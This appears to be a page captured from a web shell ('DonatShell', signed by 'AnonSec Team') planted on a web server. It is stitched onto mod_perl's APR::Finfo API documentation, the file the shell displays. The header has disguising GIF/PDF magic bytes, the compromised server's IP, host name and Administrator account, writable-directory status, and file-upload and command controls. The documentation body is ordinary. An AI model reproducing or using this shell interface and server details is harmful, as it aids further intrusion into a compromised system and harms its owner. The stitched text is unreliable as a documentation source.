GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : 134.29.175.74  /  Your IP : 216.73.216.160
Web Server : nginx/1.10.2
System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586
User : Administrator ( 0)
PHP Version : 7.1.0
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /nginx/html/JimMartinson/CST1611/VM_Data/Install/ApachePerlFiles/Perl/html/site/lib/APR/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :

[ HOME SHELL ]     

Current File : /nginx/html/JimMartinson/CST1611/VM_Data/Install/ApachePerlFiles/Perl/html/site/lib/APR//Finfo.html
<?xml version="1.0" ?>
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<html>
<head>
<!-- saved from url=(0017)http://localhost/ -->
<script language="JavaScript" src="../../../displayToc.js"></script>
<script language="JavaScript" src="../../../tocParas.js"></script>
<script language="JavaScript" src="../../../tocTab.js"></script>
<link rel="stylesheet" type="text/css" href="../../../scineplex.css">
<title>APR::Finfo - Perl API for APR fileinfo structure</title>
<link rel="stylesheet" href="../../../Active.css" type="text/css" />
<meta http-equiv="content-type" content="text/html; charset=utf-8" />
<link rev="made" href="mailto:" />
</head>

<body>


<!-- INDEX BEGIN -->
<div name="index">
<script>writelinks('__top__',3);</script>
<h1><a>APR::Finfo - Perl API for APR fileinfo structure</a></h1>
<p><a name="__index__"></a></p>


<ul>

	<li><a href="#name">NAME</a></li>
	<li><a href="#synopsis">Synopsis</a></li>
	<li><a href="#description">Description</a></li>
	<li><a href="#api">API</a></li>
	<ul>

		<li><a href="#atime"><code>atime</code></a></li>
		<li><a href="#csize"><code>csize</code></a></li>
		<li><a href="#ctime"><code>ctime</code></a></li>
		<li><a href="#device"><code>device</code></a></li>
		<li><a href="#filetype"><code>filetype</code></a></li>
		<li><a href="#fname"><code>fname</code></a></li>
		<li><a href="#group"><code>group</code></a></li>
		<li><a href="#inode"><code>inode</code></a></li>
		<li><a href="#mtime"><code>mtime</code></a></li>
		<li><a href="#name"><code>name</code></a></li>
		<li><a href="#nlink"><code>nlink</code></a></li>
		<li><a href="#protection"><code>protection</code></a></li>
		<li><a href="#size"><a href="../../../lib/pods/perlfunc.html#size"><code>size</code></a></a></li>
		<li><a href="#stat"><a href="../../../lib/pods/perlfunc.html#stat"><code>stat</code></a></a></li>
		<li><a href="#user"><code>user</code></a></li>
		<li><a href="#valid"><code>valid</code></a></li>
	</ul>

	<li><a href="#see_also">See Also</a></li>
	<li><a href="#copyright">Copyright</a></li>
	<li><a href="#authors">Authors</a></li>
</ul>

<hr name="index" />
</div>
<!-- INDEX END -->

<p>
</p>
<h1><a name="name">NAME</a></h1>
<p>APR::Finfo - Perl API for APR fileinfo structure</p>
<p>
</p>
<hr />
<h1><a name="synopsis">Synopsis</a></h1>
<pre>
  <span class="keyword">use</span> <span class="variable">APR::Finfo</span> <span class="operator">();</span>
  <span class="keyword">use</span> <span class="variable">APR::Const</span> <span class="operator">-</span><span class="string">compile</span> <span class="operator">=&gt;</span> <span class="string">qw(FINFO_NORM)</span><span class="operator">;</span>
  <span class="keyword">my</span> <span class="variable">$finfo</span> <span class="operator">=</span> <span class="variable">APR::Finfo::stat</span><span class="operator">(</span><span class="string">"/tmp/test"</span><span class="operator">,</span> <span class="variable">APR::Const::FINFO_NORM</span><span class="operator">,</span> <span class="variable">$pool</span><span class="operator">);</span>
  
  <span class="variable">$device</span> <span class="operator">=</span> <span class="variable">$finfo</span><span class="operator">-&gt;</span><span class="variable">device</span><span class="operator">;</span>     <span class="comment"># (stat $file)[0]</span>
  <span class="variable">$inode</span>  <span class="operator">=</span> <span class="variable">$finfo</span><span class="operator">-&gt;</span><span class="variable">inode</span><span class="operator">;</span>      <span class="comment"># (stat $file)[1]</span>
  <span class="variable">$prot</span>   <span class="operator">=</span> <span class="variable">$finfo</span><span class="operator">-&gt;</span><span class="variable">protection</span><span class="operator">;</span> <span class="comment"># (stat $file)[2]</span>
  <span class="variable">$nlink</span>  <span class="operator">=</span> <span class="variable">$finfo</span><span class="operator">-&gt;</span><span class="variable">nlink</span><span class="operator">;</span>      <span class="comment"># (stat $file)[3]</span>
  <span class="variable">$gid</span>    <span class="operator">=</span> <span class="variable">$finfo</span><span class="operator">-&gt;</span><span class="variable">group</span><span class="operator">;</span>      <span class="comment"># (stat $file)[4]</span>
  <span class="variable">$uid</span>    <span class="operator">=</span> <span class="variable">$finfo</span><span class="operator">-&gt;</span><span class="variable">user</span><span class="operator">;</span>       <span class="comment"># (stat $file)[5]</span>
  <span class="variable">$size</span>   <span class="operator">=</span> <span class="variable">$finfo</span><span class="operator">-&gt;</span><span class="variable">size</span><span class="operator">;</span>       <span class="comment"># (stat $file)[7]</span>
  <span class="variable">$atime</span>  <span class="operator">=</span> <span class="variable">$finfo</span><span class="operator">-&gt;</span><span class="variable">atime</span><span class="operator">;</span>      <span class="comment"># (stat $file)[8]</span>
  <span class="variable">$mtime</span>  <span class="operator">=</span> <span class="variable">$finfo</span><span class="operator">-&gt;</span><span class="variable">mtime</span><span class="operator">;</span>      <span class="comment"># (stat $file)[9]</span>
  <span class="variable">$ctime</span>  <span class="operator">=</span> <span class="variable">$finfo</span><span class="operator">-&gt;</span><span class="variable">ctime</span><span class="operator">;</span>      <span class="comment"># (stat $file)[10]</span>
  
  <span class="variable">$csize</span> <span class="operator">=</span> <span class="variable">$finfo</span><span class="operator">-&gt;</span><span class="variable">csize</span><span class="operator">;</span> <span class="comment"># consumed size: not portable!</span>
  
  <span class="variable">$filetype</span> <span class="operator">=</span> <span class="variable">$finfo</span><span class="operator">-&gt;</span><span class="variable">filetype</span><span class="operator">;</span> <span class="comment"># file/dir/socket/etc</span>
  
  <span class="variable">$fname</span> <span class="operator">=</span> <span class="variable">$finfo</span><span class="operator">-&gt;</span><span class="variable">fname</span><span class="operator">;</span>
  <span class="variable">$name</span>  <span class="operator">=</span> <span class="variable">$finfo</span><span class="operator">-&gt;</span><span class="variable">name</span><span class="operator">;</span>  <span class="comment"># in filesystem case:</span>
  
  <span class="comment"># valid fields that can be queried</span>
  <span class="variable">$valid</span> <span class="operator">=</span> <span class="variable">$finfo</span><span class="operator">-&gt;</span><span class="variable">valid</span><span class="operator">;</span>
</pre>
<p>
</p>
<hr />
<h1><a name="description">Description</a></h1>
<p>APR fileinfo structure provides somewhat similar information to Perl's
<a href="../../../lib/pods/perlfunc.html#stat"><code>stat()</code></a> call, but you will want to use this module's API to query an
already <a href="../../../lib/pods/perlfunc.html#stat"><code>stat()'ed</code></a> filehandle to avoid an extra system call or to
query attributes specific to APR file handles.</p>
<p>During the HTTP request handlers coming after
<code>PerlMapToStorageHandler|docs::2.0::user::handlers::http/PerlMapToStorageHandler</code>,
<a href="#finfo"><code>$r-&gt;finfo|docs::2.0::api::Apache2::RequestRec/C_finfo_</code></a>
already contains the cached values from the apr's <a href="../../../lib/pods/perlfunc.html#stat"><code>stat()</code></a> call. So
you don't want to perform it again, but instead get the <code>ARP::Finfo</code>
object via:</p>
<pre>
  <span class="keyword">my</span> <span class="variable">$finfo</span> <span class="operator">=</span> <span class="variable">$r</span><span class="operator">-&gt;</span><span class="variable">finfo</span><span class="operator">;</span>
</pre>
<p>
</p>
<hr />
<h1><a name="api">API</a></h1>
<p><code>APR::Finfo</code> provides the following functions and/or methods:</p>
<p>
</p>
<h2><a name="atime"><a href="#atime"><code>atime</code></a></a></h2>
<p>Get the time the file was last accessed:</p>
<pre>
  <span class="variable">$atime</span> <span class="operator">=</span> <span class="variable">$finfo</span><span class="operator">-&gt;</span><span class="variable">atime</span><span class="operator">;</span>
</pre>
<dl>
<dt><strong><a name="finfo" class="item">obj: <code>$finfo</code>
( <code>APR::Finfo object|docs::2.0::api::APR::Finfo</code> )</a></strong>

<dt><strong><a name="atime" class="item">return: <code>$atime</code> ( integer )</a></strong>

<dd>
<p>Last access time in seconds since the epoch</p>
</dd>
</li>
<dt><strong><a name="since_2_0_00229" class="item">since: 2.0.00</a></strong>

</dl>
<p>This method returns the same value as Perl's:</p>
<pre>
  (stat $filename)[8]</pre>
<p>Note that this method may not be reliable on all platforms, most
notably Win32 -- FAT32 filesystems appear to work properly, but NTFS
filesystems do not.</p>
<p>
</p>
<h2><a name="csize"><a href="#csize"><code>csize</code></a></a></h2>
<p>Get the storage size consumed by the file</p>
<pre>
  <span class="variable">$csize</span> <span class="operator">=</span> <span class="variable">$finfo</span><span class="operator">-&gt;</span><span class="variable">csize</span><span class="operator">;</span>
</pre>
<dl>
<dt><strong>obj: <code>$finfo</code>
( <code>APR::Finfo object|docs::2.0::api::APR::Finfo</code> )</strong>

<dt><strong><a name="csize" class="item">return: <code>$csize</code> ( integer )</a></strong>

<dt><strong><a name="since_2_0_00230" class="item">since: 2.0.00</a></strong>

</dl>
<p>Chances are that you don't want to use this method, since its
functionality is not supported on most platforms (in which case it
always returns 0).</p>
<p>
</p>
<h2><a name="ctime"><a href="#ctime"><code>ctime</code></a></a></h2>
<p>Get the time the file was last changed</p>
<pre>
  <span class="variable">$ctime</span> <span class="operator">=</span> <span class="variable">$finfo</span><span class="operator">-&gt;</span><span class="variable">ctime</span><span class="operator">;</span>
</pre>
<dl>
<dt><strong>obj: <code>$finfo</code>
( <code>APR::Finfo object|docs::2.0::api::APR::Finfo</code> )</strong>

<dt><strong><a name="ctime" class="item">return: <code>$ctime</code> ( integer )</a></strong>

<dd>
<p>Inode change time in seconds since the epoch</p>
</dd>
</li>
<dt><strong><a name="since_2_0_00231" class="item">since: 2.0.00</a></strong>

</dl>
<p>This method returns the same value as Perl's:</p>
<pre>
  (stat $filename)[10]</pre>
<p>The ctime field is non-portable.  In particular, you cannot expect it
to be a &quot;creation time&quot;, see &quot;Files and Filesystems&quot; in the
<em>perlport</em> manpage for details.</p>
<p>
</p>
<h2><a name="device"><a href="#device"><code>device</code></a></a></h2>
<p>Get the id of the device the file is on.</p>
<pre>
  <span class="variable">$device</span> <span class="operator">=</span> <span class="variable">$finfo</span><span class="operator">-&gt;</span><span class="variable">device</span><span class="operator">;</span>
</pre>
<dl>
<dt><strong>obj: <code>$finfo</code>
( <code>APR::Finfo object|docs::2.0::api::APR::Finfo</code> )</strong>

<dt><strong><a name="device" class="item">return: <code>$device</code> ( integer )</a></strong>

<dt><strong><a name="since_2_0_00232" class="item">since: 2.0.00</a></strong>

</dl>
<p>This method returns the same value as Perl's:</p>
<pre>
  (stat $filename)[0]</pre>
<p>Note that this method is non-portable. It doesn't work on all
platforms, most notably Win32.</p>
<p>
</p>
<h2><a name="filetype"><a href="#filetype"><code>filetype</code></a></a></h2>
<p>Get the type of file.</p>
<pre>
  <span class="variable">$filetype</span> <span class="operator">=</span> <span class="variable">$finfo</span><span class="operator">-&gt;</span><span class="variable">filetype</span><span class="operator">;</span>
</pre>
<dl>
<dt><strong>obj: <code>$finfo</code>
( <code>APR::Finfo object|docs::2.0::api::APR::Finfo</code> )</strong>

<dt><strong><a name="filetype" class="item">return: <code>$filetype</code> ( <code>:filetype
constant|docs::2.0::api::APR::Const/C__filetype_</code> )</a></strong>

<dt><strong><a name="since_2_0_00233" class="item">since: 2.0.00</a></strong>

</dl>
<p>For example:</p>
<pre>
  <span class="keyword">use</span> <span class="variable">APR::Pool</span><span class="operator">;</span>
  <span class="keyword">use</span> <span class="variable">APR::Finfo</span><span class="operator">;</span>
  <span class="keyword">use</span> <span class="variable">APR::Const</span> <span class="operator">-</span><span class="string">compile</span> <span class="operator">=&gt;</span> <span class="string">qw(FILETYPE_DIR FILETYPE_REG FINFO_NORM)</span><span class="operator">;</span>
  <span class="keyword">my</span> <span class="variable">$pool</span>  <span class="operator">=</span> <span class="variable">APR::Pool</span><span class="operator">-&gt;</span><span class="variable">new</span><span class="operator">();</span>
  <span class="keyword">my</span> <span class="variable">$finfo</span> <span class="operator">=</span> <span class="variable">APR::Finfo::stat</span><span class="operator">(</span><span class="string">"/tmp"</span><span class="operator">,</span> <span class="variable">APR::Const::FINFO_NORM</span><span class="operator">,</span> <span class="variable">$pool</span><span class="operator">);</span>
  <span class="keyword">my</span> <span class="variable">$finfo</span> <span class="operator">=</span> <span class="variable">$finfo</span><span class="operator">-&gt;</span><span class="variable">filetype</span><span class="operator">;</span>
  <span class="keyword">if</span> <span class="operator">(</span><span class="variable">$finfo</span> <span class="operator">==</span> <span class="variable">APR::Const::FILETYPE_REG</span><span class="operator">)</span> <span class="operator">{</span>
      <span class="keyword">print</span> <span class="string">"regular file"</span><span class="operator">;</span>
  <span class="operator">}</span>
  <span class="keyword">elsif</span> <span class="operator">(</span><span class="variable">$finfo</span> <span class="operator">==</span> <span class="variable">APR::Const::FILETYPE_REG</span><span class="operator">)</span> <span class="operator">{</span>
      <span class="keyword">print</span> <span class="string">"directory"</span><span class="operator">;</span>
  <span class="operator">}</span>
  <span class="keyword">else</span> <span class="operator">{</span>
      <span class="keyword">print</span> <span class="string">"other file"</span><span class="operator">;</span>
  <span class="operator">}</span>
</pre>
<p>Since <em class="file">/tmp</em> is a directory, this will print:</p>
<pre>
  directory</pre>
<p>
</p>
<h2><a name="fname"><a href="#fname"><code>fname</code></a></a></h2>
<p>Get the pathname of the file (possibly unrooted)</p>
<pre>
  <span class="variable">$fname</span> <span class="operator">=</span> <span class="variable">$finfo</span><span class="operator">-&gt;</span><span class="variable">fname</span><span class="operator">;</span>
</pre>
<dl>
<dt><strong>obj: <code>$finfo</code>
( <code>APR::Finfo object|docs::2.0::api::APR::Finfo</code> )</strong>

<dt><strong>return: <code>$filetype</code> ( string )</strong>

<dt><strong><a name="since_2_0_00234" class="item">since: 2.0.00</a></strong>

</dl>
<p>
</p>
<h2><a name="group"><code>group</code></a></h2>
<p>Get the group id that owns the file:</p>
<pre>
  <span class="variable">$gid</span> <span class="operator">=</span> <span class="variable">$finfo</span><span class="operator">-&gt;</span><span class="variable">group</span><span class="operator">;</span>
</pre>
<dl>
<dt><strong>obj: <code>$finfo</code>
( <code>APR::Finfo object|docs::2.0::api::APR::Finfo</code> )</strong>

<dt><strong><a name="gid" class="item">return: <code>$gid</code> ( number )</a></strong>

<dt><strong><a name="since_2_0_00235" class="item">since: 2.0.00</a></strong>

</dl>
<p>This method returns the same value as Perl's:</p>
<pre>
  (stat $filename)[5]</pre>
<p>Note that this method may not be meaningful on all platforms, most
notably Win32.  Incorrect results have also been reported on some
versions of OSX.</p>
<p>
</p>
<h2><a name="inode"><a href="#inode"><code>inode</code></a></a></h2>
<p>Get the inode of the file.</p>
<pre>
  <span class="variable">$inode</span> <span class="operator">=</span> <span class="variable">$finfo</span><span class="operator">-&gt;</span><span class="variable">inode</span><span class="operator">;</span>
</pre>
<dl>
<dt><strong>obj: <code>$finfo</code>
( <code>APR::Finfo object|docs::2.0::api::APR::Finfo</code> )</strong>

<dt><strong><a name="inode" class="item">return: <code>$inode</code> ( integer )</a></strong>

<dt><strong><a name="since_2_0_00236" class="item">since: 2.0.00</a></strong>

</dl>
<p>This method returns the same value as Perl's:</p>
<pre>
  (stat $filename)[1]</pre>
<p>Note that this method may not be meaningful on all platforms, most
notably Win32.</p>
<p>
</p>
<h2><a name="mtime"><a href="#mtime"><code>mtime</code></a></a></h2>
<p>The time the file was last modified</p>
<pre>
  <span class="variable">$mtime</span> <span class="operator">=</span> <span class="variable">$finfo</span><span class="operator">-&gt;</span><span class="variable">mtime</span><span class="operator">;</span>
</pre>
<dl>
<dt><strong>obj: <code>$finfo</code>
( <code>APR::Finfo object|docs::2.0::api::APR::Finfo</code> )</strong>

<dt><strong><a name="mtime" class="item">return: <code>$mtime</code> ( integer )</a></strong>

<dd>
<p>Last modify time in seconds since the epoch</p>
</dd>
</li>
<dt><strong><a name="since_2_0_00237" class="item">since: 2.0.00</a></strong>

</dl>
<p>This method returns the same value as Perl's:</p>
<pre>
  (stat $filename)[9]</pre>
<p>
</p>
<h2><a name="name"><code>name</code></a></h2>
<p>Get the file's name (no path) in filesystem case:</p>
<pre>
  <span class="variable">$name</span> <span class="operator">=</span> <span class="variable">$finfo</span><span class="operator">-&gt;</span><span class="variable">name</span><span class="operator">;</span>
</pre>
<dl>
<dt><strong>obj: <code>$finfo</code>
( <code>APR::Finfo object|docs::2.0::api::APR::Finfo</code> )</strong>

<dt><strong>return: <code>$device</code> ( string )</strong>

<dt><strong><a name="since_2_0_00238" class="item">since: 2.0.00</a></strong>

</dl>
<p>
</p>
<h2><a name="nlink"><a href="#nlink"><code>nlink</code></a></a></h2>
<p>Get the number of hard links to the file.</p>
<pre>
  <span class="variable">$nlink</span> <span class="operator">=</span> <span class="variable">$finfo</span><span class="operator">-&gt;</span><span class="variable">nlink</span><span class="operator">;</span>
</pre>
<dl>
<dt><strong>obj: <code>$finfo</code>
( <code>APR::Finfo object|docs::2.0::api::APR::Finfo</code> )</strong>

<dt><strong><a name="nlink" class="item">return: <code>$nlink</code> ( integer )</a></strong>

<dt><strong><a name="since_2_0_00239" class="item">since: 2.0.00</a></strong>

</dl>
<p>This method returns the same value as Perl's:</p>
<pre>
  (stat $filename)[3]</pre>
<p>
</p>
<h2><a name="protection"><code>protection</code></a></h2>
<p>Get the access permissions of the file.  Mimics Unix access rights.</p>
<pre>
  <span class="variable">$prot</span> <span class="operator">=</span> <span class="variable">$finfo</span><span class="operator">-&gt;</span><span class="variable">protection</span><span class="operator">;</span>
</pre>
<dl>
<dt><strong>obj: <code>$finfo</code>
( <code>APR::Finfo object|docs::2.0::api::APR::Finfo</code> )</strong>

<dt><strong><a name="prot" class="item">return: <code>$prot</code> ( <code>:fprot
constant|docs::2.0::api::APR::Const/C__fprot_</code> )</a></strong>

<dt><strong><a name="since_2_0_00240" class="item">since: 2.0.00</a></strong>

</dl>
<p>This method returns the same value as Perl's:</p>
<pre>
  (stat $filename)[2]</pre>
<p>
</p>
<h2><a name="size"><a href="#size"><code>size</code></a></a></h2>
<p>Get the size of the file</p>
<pre>
  <span class="variable">$size</span> <span class="operator">=</span> <span class="variable">$finfo</span><span class="operator">-&gt;</span><span class="variable">size</span><span class="operator">;</span>
</pre>
<dl>
<dt><strong>obj: <code>$finfo</code>
( <code>APR::Finfo object|docs::2.0::api::APR::Finfo</code> )</strong>

<dt><strong><a name="size" class="item">return: <code>$size</code> ( integer )</a></strong>

<dd>
<p>Total size of file, in bytes</p>
</dd>
</li>
<dt><strong><a name="since_2_0_00241" class="item">since: 2.0.00</a></strong>

</dl>
<p>This method returns the same value as Perl's:</p>
<pre>
  (stat $filename)[7]</pre>
<p>
</p>
<h2><a name="stat"><a href="../../../lib/pods/perlfunc.html#stat"><code>stat</code></a></a></h2>
<p>Get the specified file's stats.</p>
<pre>
  <span class="variable">$finfo</span> <span class="operator">=</span> <span class="variable">APR::Finfo::stat</span><span class="operator">(</span><span class="variable">$fname</span><span class="operator">,</span> <span class="variable">$wanted_fields</span><span class="operator">,</span> <span class="variable">$p</span><span class="operator">);</span>
</pre>
<dl>
<dt><strong><a name="fname" class="item">arg1: <code>$fname</code> ( string )</a></strong>

<dd>
<p>The path to the file to <a href="../../../lib/pods/perlfunc.html#stat"><code>stat()</code></a>.</p>
</dd>
</li>
<dt><strong><a name="wanted_fields" class="item">arg2: <code>$wanted_fields</code> ( <code>:finfo
constant|docs::2.0::api::APR::Const/C__finfo_</code> )</a></strong>

<dd>
<p>The desired fields, as a bitmask flag of
<code>APR::FINFO_*|docs::2.0::api::APR::Const/C__finfo_</code> constants.</p>
</dd>
<dd>
<p>Notice that you can also use the constants that already combine
several elements in one. For example
<code>APR::Const::FINFO_PROT|docs::2.0::api::APR::Const/C_APR__Const__FINFO_PROT_</code>
asks for all protection bits,
<code>APR::Const::FINFO_MIN|docs::2.0::api::APR::Const/C_APR__Const__FINFO_MIN_</code> asks
for the following fields: type, mtime, ctime, atime, size and
<code>APR::Const::FINFO_NORM|docs::2.0::api::APR::Const/C_APR__Const__FINFO_NORM_</code>
asks for all atomic unix <code>apr_stat()</code> fields (similar to perl's
<a href="../../../lib/pods/perlfunc.html#stat"><code>stat()</code></a>).</p>
</dd>
</li>
<dt><strong><a name="p" class="item">arg3: <code>$p</code> ( <code>APR::Pool object|docs::2.0::api::APR::Pool</code> )</a></strong>

<dd>
<p>the pool to use to allocate the file stat structure.</p>
</dd>
</li>
<dt><strong>ret: <code>$finfo</code>
( <code>APR::Finfo object|docs::2.0::api::APR::Finfo</code> )</strong>

<dt><strong><a name="since_2_0_00242" class="item">since: 2.0.00</a></strong>

</dl>
<p>For example, here is how to get most of the <a href="../../../lib/pods/perlfunc.html#stat"><code>stat</code></a> fields:</p>
<pre>
  <span class="keyword">use</span> <span class="variable">APR::Pool</span> <span class="operator">();</span>
  <span class="keyword">use</span> <span class="variable">APR::Finfo</span> <span class="operator">();</span>
  <span class="keyword">use</span> <span class="variable">APR::Const</span> <span class="operator">-</span><span class="string">compile</span> <span class="operator">=&gt;</span> <span class="string">qw(FINFO_NORM)</span><span class="operator">;</span>
  <span class="keyword">my</span> <span class="variable">$pool</span> <span class="operator">=</span> <span class="variable">APR::Pool</span><span class="operator">-&gt;</span><span class="variable">new</span><span class="operator">();</span>
  <span class="keyword">my</span> <span class="variable">$finfo</span> <span class="operator">=</span> <span class="variable">APR::Finfo::stat</span><span class="operator">(</span><span class="string">"/tmp/test"</span><span class="operator">,</span> <span class="variable">APR::Const::FINFO_NORM</span><span class="operator">,</span> <span class="variable">$pool</span><span class="operator">);</span>
</pre>
<p>
</p>
<h2><a name="user"><code>user</code></a></h2>
<p>Get the user id that owns the file:</p>
<pre>
  <span class="variable">$uid</span> <span class="operator">=</span> <span class="variable">$finfo</span><span class="operator">-&gt;</span><span class="variable">user</span><span class="operator">;</span>
</pre>
<dl>
<dt><strong>obj: <code>$finfo</code>
( <code>APR::Finfo object|docs::2.0::api::APR::Finfo</code> )</strong>

<dt><strong><a name="uid" class="item">return: <code>$uid</code> ( number )</a></strong>

<dt><strong><a name="since_2_0_00243" class="item">since: 2.0.00</a></strong>

</dl>
<p>This method returns the same value as Perl's:</p>
<pre>
  (stat $filename)[4]</pre>
<p>Note that this method may not be meaningful on all platforms,
most notably Win32.</p>
<p>
</p>
<h2><a name="valid"><a href="#valid"><code>valid</code></a></a></h2>
<p>The bitmask describing valid fields of this apr_finfo_t structure
including all available 'wanted' fields and potentially more</p>
<pre>
  <span class="variable">$valid</span> <span class="operator">=</span> <span class="variable">$finfo</span><span class="operator">-&gt;</span><span class="variable">valid</span><span class="operator">;</span>
</pre>
<dl>
<dt><strong>obj: <code>$finfo</code>
( <code>APR::Finfo object|docs::2.0::api::APR::Finfo</code> )</strong>

<dt><strong><a name="valid" class="item">arg1: <code>$valid</code> ( bitmask )</a></strong>

<dd>
<p>This bitmask flag should be bit-OR'ed against <code>:finfo
constant|docs::2.0::api::APR::Const/C__finfo_</code> constants.</p>
</dd>
</li>
<dt><strong><a name="since_2_0_00244" class="item">since: 2.0.00</a></strong>

</dl>
<p>
</p>
<hr />
<h1><a name="see_also">See Also</a></h1>
<p><a href="../../../docs/2.0/index.html">mod_perl 2.0 documentation</a>.</p>
<p>
</p>
<hr />
<h1><a name="copyright">Copyright</a></h1>
<p>mod_perl 2.0 and its core modules are copyrighted under
The Apache Software License, Version 2.0.</p>
<p>
</p>
<hr />
<h1><a name="authors">Authors</a></h1>
<p><a href="../../../about/contributors/people.html">The mod_perl development team and numerous contributors</a>.</p>

</body>

</html>

Anon7 - 2022
AnonSec Team